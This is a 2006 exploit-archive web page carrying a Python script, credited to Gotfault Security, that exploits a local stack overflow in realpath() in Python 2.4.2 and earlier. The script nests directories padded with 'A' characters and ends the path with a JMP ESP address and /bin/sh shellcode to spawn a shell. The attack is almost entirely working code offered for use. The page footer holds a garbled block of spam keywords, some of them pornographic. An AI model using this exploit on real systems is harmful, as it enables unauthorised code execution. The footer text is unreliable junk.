about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Python <= 2.4.2 realpath() Local Stack Overflow Exploit



2006-03-19 Python <= 2.4.2 realpath() Local Stack Overflow Exploit
Rated as : High Risk

#!/usr/bin/python
 
# gexp-python.py
# 
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
#			      posidron (Tripbit Research Group).
# Enviroment:
#
# Kernel Version	 : 2.6.12.5-vs2.0
# GCC Version		 : 4.0.3
# Libc Version		 : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
#			   RFDSLabs, barros, izik,
#			   Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp    = "\x5f\xe7\xff\xff"

shell  = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250,
"A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)
securitydot.net - 2006-03-19

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 08:39:07 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
home.huizh bangmywife sexo anima Www.blackg Gambar mul www.worlds sexo anima CMS is Fre www.sexmov eve 2.6.18+SMP Www.desiba Www.blackg WWW.od88.c Pic archiv lavalif VIDIO SEX WWW.it22.c www.5151c. moovi Freeanimal www.mxdy.c sex hot gi age 18 shakillase www,doodhw sexindiaco www.wzcxw. how to cra news for c maxcpm.inf cordaserve qdyhjxzz.c maxcpm.inf bejbi www.mtnlmu Www.freenu muma123.co powered by pure ftps aljins bngb www.thamil t797t WWW.WOLD.S Free porn Www.songwo maxcpm.inf results f 200 /compo